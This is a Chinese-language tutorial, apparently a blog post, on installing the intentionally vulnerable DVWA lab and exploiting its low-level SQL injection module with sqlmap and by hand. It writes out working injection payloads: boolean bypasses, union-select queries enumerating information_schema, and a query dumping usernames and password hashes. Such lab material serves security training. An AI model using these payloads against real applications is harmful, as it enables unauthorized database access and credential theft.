滲透測試漏洞平臺DVWA環境安裝搭建及初級SQL注入
一:簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。
一共有十個模組:
暴力(破解)、命令列注入、跨站請求偽造、檔案包含、檔案上傳、不安全的驗證碼、SQL注入、SQL盲注、弱會話ID、XSS漏洞(DOM型跨站指令碼、反射型跨站指令碼、 儲存型跨站指令碼)
二: 環境搭建
3、把下載好的DWVA解壓,放在D:\PhpStudy\PHPTutorial\WWW中(因為我將phpStudy安裝在D盤,所以是D:\PhpStudy)。
4、需要配置DVWA連結資料庫,請開啟config資料夾(在DVWA目錄下),如果開啟是config.inc.php.dist的話,複製它,重新命名為config.inc.php,再開啟config.inc.php,把密碼設定為空。
5、開啟瀏覽器訪問:http://localhost/DVWA/,拉到下面,點選Setup/Reset DB,點選Create/Reset Database。
6、建立成功後,訪問http://localhost/DVWA/login.php輸入使用者名稱,密碼登陸,預設使用者名稱 admin 預設密碼 password。三:SQL注入模組(SQLMAP)
1、輸入一個數字,然後submit
2、我們這裡要檢視Cookie,因為這有登陸頁面,右鍵---檢查,檢視Cookie。
3、開啟sqlmap,輸入命令,檢視資料庫
4、查表
我們也可以在紅線目錄下檢視
5、查表裡資料
6、檢視欄位的資料
四:SQL手工注入(安全級別為LOW級)
上面用的是sqlmap獲取資料庫資訊,現在使用手工注入來獲取資料庫的資訊。
思路:1.判斷是否存在注入,注入是字元型還是數字型
2.猜解SQL查詢語句中的欄位數
3.確定顯示的欄位順序
4.獲取當前資料庫
5.獲取資料庫中的表
6.獲取表中的欄位名
7.下載資料
後端資料庫語句:SELECT first_name, last_name FROM users WHERE user_id = '$id'
(1)輸入1,查詢成功。
輸入1' or '1'='1,返回了多個結果,說明存在字元型注入。
傳到後端語句變為:SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
(2)輸入1' or 1=1 order by 2 #,查詢成功。輸入1' or 1=1 order by 3 #,查詢失敗。說明欄位為2
也可以通過輸入1' union select 1,2 #來猜解欄位數
(3)獲取當前資料庫,輸入1' union select 1,database() #,查詢成功。當前的資料庫為dvwa。
(4)獲取資料庫中的表
輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功。資料庫dvwa中一共有兩個表,guestbook與users
(5)獲取表中的欄位名
輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查詢成功。users表中有8個欄位,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
(7)下載資料
輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功。
SQL注入LOW級的這樣就基本結束了!!!這只是最簡單的SQL注入,沒什麼技術含量,難的在後面,加油,小夥伴們。